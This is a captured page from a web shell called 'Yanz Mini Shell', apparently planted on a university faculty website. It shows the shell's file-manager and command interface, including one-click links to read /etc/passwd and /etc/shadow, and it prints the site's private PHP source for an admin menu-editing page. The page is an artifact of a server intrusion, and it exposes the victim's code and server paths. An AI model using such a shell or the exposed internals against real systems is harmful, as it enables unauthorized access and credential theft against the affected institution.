Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php session_start(); require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/auth.php'; require_once 'includes/csrf.php'; requireSuperAdmin(); $page_title = "Edit Menu"; $id = isset($_GET['id']) ? (int)$_GET['id'] : 0; $stmt = $conn->prepare("SELECT * FROM menus WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); $row = $stmt->get_result()->fetch_assoc(); if (!$row) { header("Location: menus.php"); exit(); } $error = ''; if (isset($_POST['update'])) { validateCSRFToken($_POST['csrf_token']); $title = trim($_POST['title']); $link_type = in_array($_POST['link_type'] ?? '', ['external', 'page', 'module']) ? $_POST['link_type'] : 'external'; $url = trim($_POST['url']); $page_id = !empty($_POST['page_id']) ? (int)$_POST['page_id'] : null; $parent_id = !empty($_POST['parent_id']) ? (int)$_POST['parent_id'] : null; $sort_order = (int)$_POST['sort_order']; $is_active = isset($_POST['is_active']) ? 1 : 0; // Resolve URL berdasarkan tipe if ($link_type === 'page' && $page_id) { $pgq = $conn->prepare("SELECT slug FROM pages WHERE id = ?"); $pgq->bind_param("i", $page_id); $pgq->execute(); $pg = $pgq->get_result()->fetch_assoc(); if ($pg) $url = 'pages/page.php?slug=' . urlencode($pg['slug']); } if (empty($url)) $url = '#'; // Cegah menu menjadi parent dari dirinya sendiri if ($parent_id === $id) $parent_id = null; $stmt = $conn->prepare("UPDATE menus SET title=?, url=?, link_type=?, page_id=?, parent_id=?, sort_order=?, is_active=? WHERE id=?"); $stmt->bind_param("sssiiiii", $title, $url, $link_type, $page_id, $parent_id, $sort_order, $is_active, $id); if ($stmt->execute()) { if (function_exists('logActivity')) { logActivity('update_menu', 'menus', $id, $title); } $_SESSION['flash'] = ['message' => "Menu '$title' berhasil diperbarui", 'type' => 'success']; header("Location: menus.php"); exit(); } else { $error = "Gagal memperbarui menu: " . $stmt->error; } } // Daftar parent yang valid (semua menu tanpa parent, kecuali dirinya sendiri) $parents = $conn->query("SELECT * FROM menus WHERE parent_id IS NULL AND id != $id ORDER BY sort_order"); // Daftar halaman dari tabel pages $pages_list = $conn->query("SELECT id, title, slug FROM pages ORDER BY title"); $current_link_type = $row['link_type'] ?? 'external'; ob_start(); ?> <div class="max-w-2xl mx-auto bg-white rounded-3xl shadow-xl p-8"> <div class="flex items-center gap-4 mb-6"> <a href="menus.php" class="text-gray-500 hover:text-gray-700 text-2xl"><i class="fas fa-arrow-left"></i></a> <h2 class="text-2xl font-semibold">Edit Menu</h2> </div> <?php if ($error): ?> <div class="bg-red-100 text-red-700 p-4 rounded-2xl mb-6"><?= htmlspecialchars($error) ?></div> <?php endif; ?> <form method="POST" class="space-y-6"> <input type="hidden" name="csrf_token" value="<?= generateCSRFToken() ?>"> <div> <label class="block text-sm font-medium mb-2">Nama Menu <span class="text-red-500">*</span></label> <input type="text" name="title" value="<?= htmlspecialchars($row['title']) ?>" required maxlength="100" class="w-full px-5 py-4 border rounded-2xl"> </div> <div> <label class="block text-sm font-medium mb-2">Tipe Tujuan</label> <div class="grid grid-cols-1 sm:grid-cols-3 gap-3"> <label class="cursor-pointer"> <input type="radio" name="link_type" value="external" <?= $current_link_type === 'external' ? 'checked' : '' ?> class="peer hidden" onchange="toggleTypeSection()"> <div class="border-2 rounded-2xl p-4 text-center peer-checked:border-[#00bfff] peer-checked:bg-blue-50"> <i class="fas fa-link text-2xl text-green-500"></i> <div class="text-sm font-medium mt-2">URL Eksternal</div> </div> </label> <label class="cursor-pointer"> <input type="radio" name="link_type" value="page" <?= $current_link_type === 'page' ? 'checked' : '' ?> class="peer hidden" onchange="toggleTypeSection()"> <div class="border-2 rounded-2xl p-4 text-center peer-checked:border-[#00bfff] peer-checked:bg-blue-50"> <i class="fas fa-file-alt text-2xl text-blue-500"></i> <div class="text-sm font-medium mt-2">Halaman</div> </div> </label> <label class="cursor-pointer"> <input type="radio" name="link_type" value="module" <?= $current_link_type === 'module' ? 'checked' : '' ?> class="peer hidden" onchange="toggleTypeSection()"> <div class="border-2 rounded-2xl p-4 text-center peer-checked:border-[#00bfff] peer-checked:bg-blue-50"> <i class="fas fa-cube text-2xl text-purple-500"></i> <div class="text-sm font-medium mt-2">Modul Sistem</div> </div> </label> </div> </div> <div id="section-external" class="<?= $current_link_type === 'external' ? '' : 'hidden' ?>"> <label class="block text-sm font-medium mb-2">URL Eksternal</label> <input type="text" name="url_external" value="<?= $current_link_type === 'external' ? htmlspecialchars($row['url']) : '' ?>" placeholder="https://contoh.com atau #" class="w-full px-5 py-4 border rounded-2xl"> </div> <div id="section-page" class="<?= $current_link_type === 'page' ? '' : 'hidden' ?>"> <label class="block text-sm font-medium mb-2">Pilih Halaman</label> <select name="page_id" class="w-full px-5 py-4 border rounded-2xl"> <option value="">— Pilih —</option> <?php while ($pg = $pages_list->fetch_assoc()): ?> <option value="<?= $pg['id'] ?>" <?= $pg['id'] == ($row['page_id'] ?? 0) ? 'selected' : '' ?>> <?= htmlspecialchars($pg['title']) ?> </option> <?php endwhile; ?> </select> </div> <div id="section-module" class="<?= $current_link_type === 'module' ? '' : 'hidden' ?>"> <label class="block text-sm font-medium mb-2">URL Modul Sistem</label> <input type="text" name="url_module" value="<?= $current_link_type === 'module' ? htmlspecialchars($row['url']) : '' ?>" placeholder="pages/daftar-dosen.php" class="w-full px-5 py-4 border rounded-2xl"> <p class="text-xs text-gray-500 mt-1">Untuk modul built-in (dosen, berita, prodi, dll).</p> </div> <div> <label class="block text-sm font-medium mb-2">Menu Induk (Parent)</label> <select name="parent_id" class="w-full px-5 py-4 border rounded-2xl"> <option value="">— Menu Utama (tidak punya parent) —</option> <?php while ($p = $parents->fetch_assoc()): $selected = ($p['id'] == $row['parent_id']) ? 'selected' : ''; ?> <option value="<?= $p['id'] ?>" <?= $selected ?>>Submenu dari: <?= htmlspecialchars($p['title']) ?></option> <?php endwhile; ?> </select> <p class="text-xs text-gray-500 mt-1">Pilih parent untuk menjadikan menu ini submenu (dropdown).</p> </div> <div> <label class="block text-sm font-medium mb-2">Urutan Tampil</label> <input type="number" name="sort_order" value="<?= (int)$row['sort_order'] ?>" min="1" class="w-full px-5 py-4 border rounded-2xl"> <p class="text-xs text-gray-500 mt-1">Angka kecil tampil lebih dulu di antara sesama menu.</p> </div> <label class="flex items-center gap-3 cursor-pointer"> <input type="checkbox" name="is_active" value="1" <?= !empty($row['is_active']) ? 'checked' : '' ?> class="w-5 h-5"> <span class="text-sm">Aktifkan menu (jika dimatikan, tidak akan tampil di header)</span> </label> <!-- Combined URL field untuk submit --> <input type="hidden" name="url" id="url_combined" value="<?= htmlspecialchars($row['url']) ?>"> <button type="submit" name="update" class="w-full bg-[#00bfff] hover:bg-[#0099cc] text-white py-4 rounded-2xl font-semibold text-lg"> <i class="fas fa-save"></i> Update Menu </button> </form> </div> <script> function toggleTypeSection() { const type = document.querySelector('input[name="link_type"]:checked').value; document.getElementById('section-external').classList.toggle('hidden', type !== 'external'); document.getElementById('section-page').classList.toggle('hidden', type !== 'page'); document.getElementById('section-module').classList.toggle('hidden', type !== 'module'); } document.querySelector('form').addEventListener('submit', function(e) { const type = document.querySelector('input[name="link_type"]:checked').value; const urlEl = document.getElementById('url_combined'); if (type === 'external') urlEl.value = document.querySelector('[name="url_external"]').value || '#'; if (type === 'module') urlEl.value = document.querySelector('[name="url_module"]').value || '#'; if (type === 'page') urlEl.value = ''; // server akan resolve dari page_id }); </script> <?php $content = ob_get_clean(); include 'includes/admin_layout.php';
Free Space : 56533004288 Byte